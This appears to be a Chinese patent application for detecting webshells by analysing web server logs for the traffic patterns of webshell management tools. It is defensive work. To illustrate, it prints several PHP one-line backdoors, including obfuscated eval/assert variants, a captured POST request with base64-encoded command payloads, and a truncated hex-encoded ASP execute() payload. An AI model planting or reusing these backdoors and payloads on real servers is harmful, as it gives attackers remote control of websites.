本發(fā)明涉及互聯(lián)網(wǎng)領(lǐng)域,具體而言,涉及一種網(wǎng)站后門文件的驗(yàn)證方法及裝置。
背景技術(shù):
webshell即網(wǎng)站后門文件,“web”的含義是需要網(wǎng)站服務(wù)器開放web服務(wù),“shell”的含義是在一定程度上取得網(wǎng)站服務(wù)器的操作權(quán)限。webshell是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,通常采用與網(wǎng)站服務(wù)器相同的編程語言編寫而成,設(shè)置在網(wǎng)站目錄中。webshell從訪問者接收任意的參數(shù)并添加至自身代碼中運(yùn)行,然后再將運(yùn)行結(jié)果返回給訪問者。因此,黑客在入侵一個(gè)網(wǎng)站后,通常會(huì)將webshell與網(wǎng)站服務(wù)器web目錄下正常的網(wǎng)頁文件混在一起,便可以使用瀏覽器來訪問webshell,以達(dá)到長(zhǎng)期控制網(wǎng)站服務(wù)器的目的,其中,可以包括但不限于:上傳/下載文件,查看數(shù)據(jù)庫(kù),執(zhí)行任意程序命令。由于編程語言靈活多樣,新型的webshell已基本失去靜態(tài)后門特征,從而能夠輕松地繞過后門識(shí)別工具的檢測(cè)。
webshell管理工具使用特殊的通信協(xié)議與網(wǎng)站后門文件進(jìn)行通信,從而實(shí)現(xiàn)磁盤目錄瀏覽、文件上傳或下載、執(zhí)行系統(tǒng)命令等功能,其主要的實(shí)現(xiàn)原理在于:在網(wǎng)站中上傳一個(gè)可被webshell管理工具訪問的webshell,webshell管理工具將上述功能轉(zhuǎn)換成動(dòng)態(tài)代碼并以通信協(xié)議約定的格式進(jìn)行封裝,以訪問網(wǎng)頁的方式將通信內(nèi)容發(fā)送給webshell。webshell在運(yùn)行動(dòng)態(tài)代碼后,按照同樣的通信協(xié)議對(duì)運(yùn)行結(jié)果進(jìn)行封裝,然后再返回給webshell管理工具。盡管每次通信的內(nèi)容會(huì)因功能的不同而存在差異,但受限于通信協(xié)議的缺陷,每次通信總會(huì)有部分內(nèi)容是滿足一定特征的。
大部分的黑客在上傳webshell文件后,都會(huì)選擇使用webshell管理工具對(duì)webshell進(jìn)行訪問。因此,大部分webshell都能夠與webshell管理工具的訪問記錄關(guān)聯(lián)起來。盡管網(wǎng)站后門文件千變?nèi)f化,但黑客常用的webshell管理工具上的通信協(xié)議是不變的。
相關(guān)技術(shù)中所采用的網(wǎng)站后門檢測(cè)方法是通過在網(wǎng)站服務(wù)器上安裝后門檢測(cè)工具,通過對(duì)網(wǎng)站文件進(jìn)行后門特征掃描以確認(rèn)是否存在后門文件。在這些網(wǎng)站后門檢測(cè)工具中,基本上都是使用靜態(tài)分析技術(shù)和沙盒動(dòng)態(tài)調(diào)試技術(shù),對(duì)代碼進(jìn)行語法解析,構(gòu)造出執(zhí)行流程,然后通過模擬執(zhí)行的方式檢測(cè)危險(xiǎn)函數(shù)的調(diào)用,最終得出代碼是否為網(wǎng)站后門的結(jié)果。
然而,這種檢測(cè)方式存在很大的弊端:首先,網(wǎng)站后門使用的編程語言是多種多樣的,其不固定的文件格式增加了后門特征檢測(cè)的復(fù)雜度;其次,特征檢測(cè)依賴于文件特征庫(kù),每出現(xiàn)一種新的后門文件都需要更新文件特征庫(kù),由此會(huì)導(dǎo)致特征庫(kù)消耗過多的存儲(chǔ)空間;然后,網(wǎng)站后門都會(huì)將自己偽裝成網(wǎng)站的正常網(wǎng)頁文件,易使得檢測(cè)過程中出現(xiàn)一定數(shù)量的漏報(bào)或誤報(bào)。
不僅如此,大多數(shù)網(wǎng)站服務(wù)器所使用的編程語言都支持動(dòng)態(tài)代碼的生成及運(yùn)行,目前十分流行的“一句話木馬”后門文件便很好的利用了這個(gè)特性,實(shí)現(xiàn)代碼的加密與混淆。這種“一句話木馬”后門文件已經(jīng)完全失去了常規(guī)的網(wǎng)站后門特征,從而可以輕松地繞過文件特征檢測(cè)。
為此,黑客為了避免網(wǎng)站后門文件被網(wǎng)站管理員發(fā)現(xiàn)或者被網(wǎng)站服務(wù)器配置的安全軟件檢測(cè)到,通常都會(huì)選擇“一句話木馬”作為后門文件,插入到網(wǎng)站服務(wù)器的正常網(wǎng)頁文件中;同時(shí),對(duì)后門代碼進(jìn)行加密或者混淆,以使得后門文件從表面上看起來不像是網(wǎng)站服務(wù)器的后門文件。
下面是常見的“一句話木馬”后門文件的代碼示例,其具體表現(xiàn)形式如下:
<?php
@eval($_post['c']);
?>
從上述代碼中可以清楚地看到,該代碼中存在明顯的“一句話木馬”后門文件特征,訪問者可以向eval函數(shù)傳入任意代碼并執(zhí)行,所以eval是一個(gè)危險(xiǎn)的函數(shù)調(diào)用,基于文件特征的后門檢測(cè)工具都可以發(fā)現(xiàn)此類網(wǎng)站后門文件。
然而,對(duì)于下面所示的一句話木馬后門代碼:
<?php
$c=$_post['c'];
assert($c);
?>
該后門代碼中盡管存在assert這個(gè)危險(xiǎn)的函數(shù)調(diào)用,但是因?yàn)闊o法確認(rèn)變量“$c”的來源,大部分基于文件特征的后門檢測(cè)工具對(duì)此類webshell后門文件的檢測(cè)效果其實(shí)并不理想。
此外,經(jīng)過base64編碼的一句話木馬后門代碼如下:
<?php
eval(gzuncompress(base64_decode('ejxtiq/wdw6jvk9wjw……uaewkdmw==')));
?>
上述后門代碼經(jīng)過base64編碼和gzcompress壓縮,從表面上看并沒有任何后門特征,而只有在實(shí)際運(yùn)行過程中才會(huì)還原出后門代碼,因此,常規(guī)的后門檢測(cè)工具對(duì)此類網(wǎng)站后門文件的檢測(cè)也是無能為力的。
針對(duì)上述的問題,目前尚未提出有效的解決方案。
技術(shù)實(shí)現(xiàn)要素:
本發(fā)明實(shí)施例提供了一種網(wǎng)站后門文件的驗(yàn)證方法及裝置,以至少解決相關(guān)技術(shù)中所采用的通過特征匹配的方式確定網(wǎng)站后門文件的方式準(zhǔn)確性較低,易產(chǎn)生漏報(bào)或誤報(bào)的技術(shù)問題。
根據(jù)本發(fā)明實(shí)施例的一個(gè)方面,提供了一種網(wǎng)站后門文件的驗(yàn)證方法,包括:
獲取網(wǎng)絡(luò)訪問日志記錄;按照訪問網(wǎng)站后門文件所采用的通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄進(jìn)行分析,選取待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄;根據(jù)待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄所歸屬的請(qǐng)求類型選取驗(yàn)證方式;通過選取的驗(yàn)證方式驗(yàn)證待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
可選地,按照訪問網(wǎng)站后門文件所采用的通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄進(jìn)行分析,選取待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄包括:采用通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄中包含的全部互聯(lián)網(wǎng)訪問請(qǐng)求記錄逐一進(jìn)行分段解析;將解析后的請(qǐng)求主體內(nèi)容中包含有由網(wǎng)站后門文件執(zhí)行的代碼段和/或通信協(xié)議中設(shè)定的固定字段的互聯(lián)網(wǎng)訪問請(qǐng)求記錄確定為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄。
可選地,根據(jù)待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄所歸屬的請(qǐng)求類型選取驗(yàn)證方式包括:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄的請(qǐng)求行中提取統(tǒng)一資源定位符(url);根據(jù)url所包含的后綴部分內(nèi)容確定請(qǐng)求類型;按照請(qǐng)求類型為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄選取驗(yàn)證方式。
可選地,通過驗(yàn)證方式驗(yàn)證待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件是否為網(wǎng)站后門文件包括:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;在請(qǐng)求類型為php類型或asp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;按照預(yù)設(shè)計(jì)算方式運(yùn)行可執(zhí)行的代碼部分,生成運(yùn)算結(jié)果;當(dāng)運(yùn)算結(jié)果與預(yù)設(shè)結(jié)果相一致時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
可選地,通過驗(yàn)證方式驗(yàn)證待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件是否為網(wǎng)站后門文件包括:從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;在請(qǐng)求類型為jsp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;按照指定的功能命令運(yùn)行可執(zhí)行的代碼部分,生成顯示結(jié)果;當(dāng)顯示結(jié)果符合功能命令的功能特性時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
根據(jù)本發(fā)明實(shí)施例的另一方面,還提供了一種網(wǎng)站后門文件的驗(yàn)證裝置,包括:
獲取模塊,用于獲取由外部訪問服務(wù)器所產(chǎn)生的網(wǎng)絡(luò)訪問日志記錄;分析模塊,用于按照訪問網(wǎng)站后門文件所采用的通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄進(jìn)行分析,選取待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄;選取模塊,用于根據(jù)待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄所歸屬的請(qǐng)求類型選取驗(yàn)證方式;驗(yàn)證模塊,用于通過選取的驗(yàn)證方式驗(yàn)證待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件是否為網(wǎng)站后門文件。
可選地,分析模塊包括:解析單元,用于采用通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄中包含的全部互聯(lián)網(wǎng)訪問請(qǐng)求記錄逐一進(jìn)行分段解析;第一確定單元,用于將解析后的請(qǐng)求主體內(nèi)容中包含有由網(wǎng)站后門文件執(zhí)行的代碼段和/或通信協(xié)議中設(shè)定的固定字段的互聯(lián)網(wǎng)訪問請(qǐng)求記錄確定為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄。
可選地,選取模塊包括:第一提取單元,用于從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄的請(qǐng)求行中提取url;第二確定單元,用于根據(jù)url所包含的后綴部分內(nèi)容確定請(qǐng)求類型;選取單元,用于按照請(qǐng)求類型為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄選取驗(yàn)證方式。
可選地,驗(yàn)證模塊包括:第二提取單元,用于從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;查找單元,用于在請(qǐng)求類型為php類型或asp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;生成單元,用于按照預(yù)設(shè)計(jì)算方式運(yùn)行可執(zhí)行的代碼部分,生成運(yùn)算結(jié)果;第三確定單元,用于當(dāng)運(yùn)算結(jié)果與預(yù)設(shè)結(jié)果相一致時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
可選地,驗(yàn)證模塊包括:第二提取單元,用于從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中提取訪問對(duì)應(yīng)文件所使用的連接密碼;查找單元,用于在請(qǐng)求類型為jsp類型的情況下,從待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄中查找與連接密碼對(duì)應(yīng)的可執(zhí)行的代碼部分;生成單元,用于按照指定的功能命令運(yùn)行可執(zhí)行的代碼部分,生成顯示結(jié)果;第三確定單元,用于當(dāng)顯示結(jié)果符合功能命令的功能特性時(shí),確定待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件為網(wǎng)站后門文件。
在本發(fā)明實(shí)施例中,不需要對(duì)后門文件進(jìn)行特征匹配,而是采用按照訪問網(wǎng)站后門文件所采用的通信協(xié)議對(duì)服務(wù)器上留存的網(wǎng)絡(luò)訪問日志記錄進(jìn)行分析的方式選取待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄,并且根據(jù)待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄所歸屬的請(qǐng)求類型選取驗(yàn)證方式確認(rèn)網(wǎng)絡(luò)后門文件是否真實(shí)存在,從而有效地提高了對(duì)網(wǎng)站后門文件進(jìn)行識(shí)別的成功率,顯著地降低了對(duì)網(wǎng)站后門文件進(jìn)行驗(yàn)證過程中發(fā)生漏報(bào)或誤報(bào)的概率,進(jìn)而解決了相關(guān)技術(shù)中所采用的通過特征匹配的方式確定網(wǎng)站后門文件的方式準(zhǔn)確性較低,易產(chǎn)生漏報(bào)或誤報(bào)的技術(shù)問題。
附圖說明
此處所說明的附圖用來提供對(duì)本發(fā)明的進(jìn)一步理解,構(gòu)成本申請(qǐng)的一部分,本發(fā)明的示意性實(shí)施例及其說明用于解釋本發(fā)明,并不構(gòu)成對(duì)本發(fā)明的不當(dāng)限定。在附圖中:
圖1是本發(fā)明實(shí)施例的一種網(wǎng)站后門文件的驗(yàn)證方法的計(jì)算機(jī)終端的硬件結(jié)構(gòu)框圖;
圖2是根據(jù)本發(fā)明實(shí)施例的網(wǎng)站后門文件的驗(yàn)證方法的流程圖;
圖3是根據(jù)本發(fā)明實(shí)施例的網(wǎng)站后門文件的驗(yàn)證裝置的結(jié)構(gòu)框圖;
圖4是根據(jù)本發(fā)明優(yōu)選實(shí)施例的網(wǎng)站后門文件的驗(yàn)證裝置的結(jié)構(gòu)框圖;
圖5是根據(jù)本發(fā)明實(shí)施例的一種計(jì)算機(jī)終端的結(jié)構(gòu)框圖。
具體實(shí)施方式
為了使本技術(shù)領(lǐng)域的人員更好地理解本發(fā)明方案,下面將結(jié)合本發(fā)明實(shí)施例中的附圖,對(duì)本發(fā)明實(shí)施例中的技術(shù)方案進(jìn)行清楚、完整地描述,顯然,所描述的實(shí)施例僅僅是本發(fā)明一部分的實(shí)施例,而不是全部的實(shí)施例?;诒景l(fā)明中的實(shí)施例,本領(lǐng)域普通技術(shù)人員在沒有做出創(chuàng)造性勞動(dòng)前提下所獲得的所有其他實(shí)施例,都應(yīng)當(dāng)屬于本發(fā)明保護(hù)的范圍。
需要說明的是,本發(fā)明的說明書和權(quán)利要求書及上述附圖中的術(shù)語“第一”、“第二”等是用于區(qū)別類似的對(duì)象,而不必用于描述特定的順序或先后次序。應(yīng)該理解這樣使用的數(shù)據(jù)在適當(dāng)情況下可以互換,以便這里描述的本發(fā)明的實(shí)施例能夠以除了在這里圖示或描述的那些以外的順序?qū)嵤?。此外,術(shù)語“包括”和“具有”以及他們的任何變形,意圖在于覆蓋不排他的包含,例如,包含了一系列步驟或單元的過程、方法、系統(tǒng)、產(chǎn)品或設(shè)備不必限于清楚地列出的那些步驟或單元,而是可包括沒有清楚地列出的或?qū)τ谶@些過程、方法、產(chǎn)品或設(shè)備固有的其它步驟或單元。
實(shí)施例1
根據(jù)本發(fā)明實(shí)施例,還提供了一種網(wǎng)站后門文件的驗(yàn)證方法的方法實(shí)施例,需要說明的是,在附圖的流程圖示出的步驟可以在諸如一組計(jì)算機(jī)可執(zhí)行指令的計(jì)算機(jī)系統(tǒng)中執(zhí)行,并且,雖然在流程圖中示出了邏輯順序,但是在某些情況下,可以以不同于此處的順序執(zhí)行所示出或描述的步驟。
本申請(qǐng)實(shí)施例一所提供的方法實(shí)施例可以在移動(dòng)終端、計(jì)算機(jī)終端或者類似的運(yùn)算裝置中執(zhí)行。以運(yùn)行在計(jì)算機(jī)終端上為例,圖1是本發(fā)明實(shí)施例的一種網(wǎng)站后門文件的驗(yàn)證方法的計(jì)算機(jī)終端的硬件結(jié)構(gòu)框圖。如圖1所示,計(jì)算機(jī)終端10可以包括一個(gè)或多個(gè)(圖中僅示出一個(gè))處理器102(處理器102可以包括但不限于微處理器mcu或可編程邏輯器件fpga等的處理裝置)、用于存儲(chǔ)數(shù)據(jù)的存儲(chǔ)器104、以及用于通信功能的傳輸裝置106。本領(lǐng)域普通技術(shù)人員可以理解,圖1所示的結(jié)構(gòu)僅為示意,其并不對(duì)上述電子裝置的結(jié)構(gòu)造成限定。例如,計(jì)算機(jī)終端10還可包括比圖1中所示更多或者更少的組件,或者具有與圖1所示不同的配置。
存儲(chǔ)器104可用于存儲(chǔ)應(yīng)用軟件的軟件程序以及模塊,如本發(fā)明實(shí)施例中的網(wǎng)站后門文件的驗(yàn)證方法對(duì)應(yīng)的程序指令/模塊,處理器102通過運(yùn)行存儲(chǔ)在存儲(chǔ)器104內(nèi)的軟件程序以及模塊,從而執(zhí)行各種功能應(yīng)用以及數(shù)據(jù)處理,即實(shí)現(xiàn)上述的網(wǎng)站后門文件的驗(yàn)證方法。存儲(chǔ)器104可包括高速隨機(jī)存儲(chǔ)器,還可包括非易失性存儲(chǔ)器,如一個(gè)或者多個(gè)磁性存儲(chǔ)裝置、閃存、或者其他非易失性固態(tài)存儲(chǔ)器。在一些實(shí)例中,存儲(chǔ)器104可進(jìn)一步包括相對(duì)于處理器102遠(yuǎn)程設(shè)置的存儲(chǔ)器,這些遠(yuǎn)程存儲(chǔ)器可以通過網(wǎng)絡(luò)連接至計(jì)算機(jī)終端10。上述網(wǎng)絡(luò)的實(shí)例包括但不限于互聯(lián)網(wǎng)、企業(yè)內(nèi)部網(wǎng)、局域網(wǎng)、移動(dòng)通信網(wǎng)及其組合。
傳輸裝置106用于經(jīng)由一個(gè)網(wǎng)絡(luò)接收或者發(fā)送數(shù)據(jù)。上述的網(wǎng)絡(luò)具體實(shí)例可包括計(jì)算機(jī)終端10的通信供應(yīng)商提供的無線網(wǎng)絡(luò)。在一個(gè)實(shí)例中,傳輸裝置106包括一個(gè)網(wǎng)絡(luò)適配器(networkinterfacecontroller,nic),其可通過基站與其他網(wǎng)絡(luò)設(shè)備相連從而可與互聯(lián)網(wǎng)進(jìn)行通訊。在一個(gè)實(shí)例中,傳輸裝置106可以為射頻(radiofrequency,rf)模塊,其用于通過無線方式與互聯(lián)網(wǎng)進(jìn)行通訊。
在上述運(yùn)行環(huán)境下,本申請(qǐng)?zhí)峁┝巳鐖D2所示的網(wǎng)站后門文件的驗(yàn)證方法。圖2是根據(jù)本發(fā)明實(shí)施例的網(wǎng)站后門文件的驗(yàn)證方法的流程圖。該方法包括以下處理步驟:
步驟s202:獲取網(wǎng)絡(luò)訪問日志記錄,其中,網(wǎng)絡(luò)訪問日志記錄可以是由外部客戶端(例如:個(gè)人計(jì)算機(jī))訪問本地服務(wù)器而生成,當(dāng)然也可以由外部移動(dòng)終端或其他設(shè)備訪問本地服務(wù)器而生成;
步驟s204:按照訪問網(wǎng)站后門文件所采用的通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄進(jìn)行分析,選取待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄;例如:使用識(shí)別webshell通信協(xié)議的方式,在服務(wù)器日志中找出黑客訪問webshell的記錄;
步驟s206:根據(jù)待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄所歸屬的請(qǐng)求類型選取驗(yàn)證方式;
步驟s208:通過選取的驗(yàn)證方式驗(yàn)證待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄訪問的文件是否為網(wǎng)站后門文件。
相關(guān)技術(shù)中所提供的后門檢測(cè)方案僅能夠查找靜態(tài)代碼上的特征,或經(jīng)過語法分析后模擬執(zhí)行,但都無法將真實(shí)的代碼還原出來,也無法識(shí)別出程序的真實(shí)行為。采用本發(fā)明實(shí)施例所提供的技術(shù)方案,不需要對(duì)后門文件進(jìn)行特征匹配,而是采用按照訪問網(wǎng)站后門文件所采用的通信協(xié)議對(duì)服務(wù)器上留存的網(wǎng)絡(luò)訪問日志記錄進(jìn)行分析的方式選取待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄,并且根據(jù)待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄所歸屬的請(qǐng)求類型選取驗(yàn)證方式確認(rèn)網(wǎng)絡(luò)后門文件是否真實(shí)存在,其不僅能夠識(shí)別常規(guī)的網(wǎng)站后門文件而且還能夠識(shí)別經(jīng)過混淆的網(wǎng)站后門文件,從而有效地提高了對(duì)網(wǎng)站后門文件進(jìn)行識(shí)別的成功率,顯著地降低了對(duì)網(wǎng)站后門文件進(jìn)行驗(yàn)證過程中發(fā)生漏報(bào)或誤報(bào)的概率,進(jìn)而解決了相關(guān)技術(shù)中所采用的通過特征匹配的方式確定網(wǎng)站后門文件的方式準(zhǔn)確性較低,易產(chǎn)生漏報(bào)或誤報(bào)的技術(shù)問題。
可選地,在步驟s204中,按照訪問網(wǎng)站后門文件所采用的通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄進(jìn)行分析,選取待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄可以包括以下步驟:
步驟s1:采用通信協(xié)議對(duì)網(wǎng)絡(luò)訪問日志記錄中包含的全部互聯(lián)網(wǎng)訪問請(qǐng)求記錄逐一進(jìn)行分段解析;
步驟s2:將解析后的請(qǐng)求主體內(nèi)容中包含有由網(wǎng)站后門文件執(zhí)行的代碼段和/或通信協(xié)議中設(shè)定的固定字段的互聯(lián)網(wǎng)訪問請(qǐng)求記錄確定為待驗(yàn)證的互聯(lián)網(wǎng)訪問請(qǐng)求記錄。
網(wǎng)站后門文件通常會(huì)在網(wǎng)站服務(wù)器的web日志記錄中留下webshell頁面的訪問數(shù)據(jù)和數(shù)據(jù)提交記錄。并且,網(wǎng)站后門文件都需要在接收外部參數(shù)后才會(huì)執(zhí)行具體的命令,而為了確保網(wǎng)站后門只能由訪問者使用,后門文件通常會(huì)存在一個(gè)唯一的連接密碼,而這個(gè)連接密碼可以通過分析日志內(nèi)容來得到。webshell管理工具的工作原理主要在于:在web請(qǐng)求中插入經(jīng)過編碼處理的命令參數(shù),其中,第一個(gè)參數(shù)即為連接密碼,然后再傳遞給后門文件。
webshell管理工具的通信協(xié)議主要分為以下三層:
第一層為執(zhí)行php代碼的函數(shù),例如:eval,assert等;
第二層為base64編碼的解碼函數(shù),例如:base64_decode;
第三層為經(jīng)過base64編碼處理后的代碼,即上述步驟s2中提到的請(qǐng)求主體內(nèi)容,也是本申請(qǐng)需要重點(diǎn)關(guān)注并解析的部分。
黑客作為訪問者所期望執(zhí)行的代碼便存放在上述第三層經(jīng)過base64編碼處理后的代碼中。目前,主流的webshell管理工具為了能夠躲避服務(wù)器安全檢測(cè)工具的查殺,都會(huì)選擇在第一層或第二層尋求改進(jìn),以實(shí)現(xiàn)對(duì)后門代碼的混淆。然而,無論采用何種變化方式,base64編碼的起始部分在通常情況下是固定不變的,因此,可以依照上述特征執(zhí)行匹配操作。
在一個(gè)web請(qǐng)求中,用戶可以自定義很多參數(shù),例如:統(tǒng)一資源定位符(url),用戶代理(user-agent),存儲(chǔ)在用戶本地終端上的數(shù)據(jù)(cookie),提交數(shù)據(jù)(post_data)等。這些可控點(diǎn)都可以被webshell管理工具用于傳遞參數(shù)。因此,通過采用日志分析過程,便可以確定每一條網(wǎng)站日志中這些可控點(diǎn)的內(nèi)容是否滿足webshell管理工具的通信協(xié)議特征。如果滿足webshell管理工具的通信協(xié)議特征,則可以將該條日志的url、連接密碼等信息存入數(shù)據(jù)庫(kù)中,等待進(jìn)一步的檢測(cè)。
下面將分別以php類型的互聯(lián)網(wǎng)訪問請(qǐng)求、asp類型的互聯(lián)網(wǎng)訪問請(qǐng)求以及jsp類型的互聯(lián)網(wǎng)訪問請(qǐng)求為例對(duì)上述日志分析過程作進(jìn)一步的詳細(xì)描述。
1.對(duì)于php類型的互聯(lián)網(wǎng)訪問請(qǐng)求
假設(shè)在目標(biāo)網(wǎng)站的根目錄hehe.php下存在一個(gè)webshell,其內(nèi)容如下:
<?php@eval($_post[8]);?>
這是常見的、較為簡(jiǎn)單的php類型“一句話木馬”。
通過瀏覽器發(fā)送的正常訪問請(qǐng)求的格式具體如下:
get/hehe.phphttp/1.1
content-type:application/x-www-form-urlencoded
host:127.0.0.1
content-length:765
connection:close
然而,如果使用webshell管理工具發(fā)送的php類型訪問請(qǐng)求,則具體表現(xiàn)形式如下:
post/hehe.phphttp/1.1
content-type:application/x-www-form-urlencoded
host:127.0.0.1
content-length:765
connection:close
8=@eval(base64_decode(qgv2ywwbkgjhc2u2nf9kzwnvzguojf9qt1nuw3owxskpow));&z0=qgluav9zzxqoimrpc3bsyxlfzxjyb3jziiwimcipo0bzzxrfdgltzv9saw1pdcgwkttac2v0x21hz2ljx3f1b3rlc19ydw50aw1lkdapo2vjag8oii0+fcipozskrd1iyxnlnjrfzgvjb2rlkcrfue9tvfsiejeixsk7jey9qg9wzw5kaxiojeqpo2lmkcrgpt1ovuxmkxtly2hvkcjfuljpujovlybqyxroie5vdcbgb3vuzcbpcibobybqzxjtaxnzaw9uisipo31lbhnleyrnpu5vtew7jew9tlvmtdt3aglszsgktj1acmvhzgrpcigkrikpeyrqpsreliivii4ktjskvd1azgf0zsgiws1tlwqgsdpponmilebmawxlbxrpbwuojfapkttajeu9c3vic3rykgjhc2vfy29udmvydchazmlszxblcm1zkcrqkswxmcw4kswtnck7jfi9ilx0ii4kvc4ixhqilkbmawxlc2l6zsgkuckuilx0ii4krs4icii7awyoqglzx2rpcigkuckpje0upsroliivii4kujtlbhnlicrmlj0kti4kujt9zwnobyakts4ktdtay2xvc2vkaxiojeypo307zwnobygifdwtiik7zgllkck7&z1=rdpcxhhhbxbwxfxodgrvy3ncxa==
下面需要對(duì)上述使用webshell管理工具發(fā)送的訪問請(qǐng)求進(jìn)行分析:
首先,在post內(nèi)容中第一次出現(xiàn)的等號(hào)左邊的數(shù)字“8”即為該webshell的密碼,其對(duì)應(yīng)代碼中的$_post[8];即,通過webshell管理工具發(fā)送的每個(gè)訪問請(qǐng)求中出現(xiàn)在第一個(gè)等號(hào)左邊的內(nèi)容便是該webshell的連接密碼。
其次,第一次出現(xiàn)在等號(hào)右邊的內(nèi)容是一段php代碼,其基本格式通常為:@eval(base64_decode(var1));其中,最內(nèi)層括號(hào)里面的內(nèi)容“var1”是經(jīng)過base64編碼過的內(nèi)容,再外面一層括號(hào)內(nèi)解碼函數(shù),而最外層的則是php執(zhí)行函數(shù);另外,var1里面的內(nèi)容通常為@eval(base64_decode($_post[z0]));
最后,在“;”后面出現(xiàn)的內(nèi)容可能會(huì)接一個(gè)或多個(gè)變量z1-z5,這些變量都需要經(jīng)過base64加密,而在解密之后則會(huì)呈現(xiàn)出一些php代碼。
基于上述分析,本發(fā)明實(shí)施例所提供的日志分析過程需要完成以下工作:
(1)從webshell管理工具發(fā)送的訪問請(qǐng)求中將webshell的連接密碼提取出來。
(2)在@eval(base64_decode(var1))中最內(nèi)層的var1在某些情況下是不連續(xù)的,其匹配難度較大,但是base64中的內(nèi)容通常需要對(duì)應(yīng)“接收后續(xù)變量”的動(dòng)作(例如:接收z0)。而接收的方式只能是“$_post[z0]”,因此,只需要匹配到$_post[z0]對(duì)應(yīng)的base64字符串,基本上便可以認(rèn)定該訪問請(qǐng)求是由webshell管理工具發(fā)送的。但是,考慮到z0是可以發(fā)生變化的,因此通常只匹配到“$_post[”即可。
需要說明的是,上述“$_post[”即為步驟s2中提到的通信協(xié)議中設(shè)定的固定字段。
(3)在執(zhí)行完上述只匹配到“$_post[”的操作得到的結(jié)果僅為該訪問請(qǐng)求疑似由webshell管理工具發(fā)送,其原因在于:在正常業(yè)務(wù)請(qǐng)求中也可能會(huì)對(duì)$_post[進(jìn)行加密。此時(shí),則需要進(jìn)一步匹配z1-z5中的base64內(nèi)容,在這部分內(nèi)容中一定會(huì)出現(xiàn)webshell會(huì)執(zhí)行的代碼,例如:@set_magic_quotes_runtime(0);@set_time_limit(0),只有在進(jìn)一步匹配z1-z5中的base64內(nèi)容后才能進(jìn)一步確定這是個(gè)webshell。
需要說明的是,上述z1-z5中出現(xiàn)的一定會(huì)出現(xiàn)webshell會(huì)執(zhí)行的代碼即為步驟s2中提到的由網(wǎng)站后門文件執(zhí)行的代碼段。
2.對(duì)于asp類型的互聯(lián)網(wǎng)訪問請(qǐng)求
假設(shè)使用webshell管理工具發(fā)送的asp類型訪問請(qǐng)求,其具體表現(xiàn)形式如下:
ysh=execute("execute(""on+error+resume+next:function+bd(byval+s):for+i=1+to+len(s)+step+2:c=mid(s,i,2):if+isnumeric(mid(s,i,1))+then:execute(""""bd=bd&chr(&h""""&c&"""")""""):else:execute(""""bd=bd&chr(&h""""&c&mid(s,i+2,2)&"""")""""):i=i+2:end+if""&chr(10)&""next:end+function:response.write(""""->|""""):execute(""""on+error+resume+next:""""&bd(""""44696d2052523a52523d6264285265717565737428227a312229293a46756e6374696f6e204644286474293a46443d596561722864742926222d223a4966204c656e284d6f6e746828647429293d31205468656e3a4644203d204644262230223a456e642049663a46443d4644264d6f6e74682864742926222d223a4966204c656e2844617928647429293d31205468656e3a46443d4644262230223a456e642049663a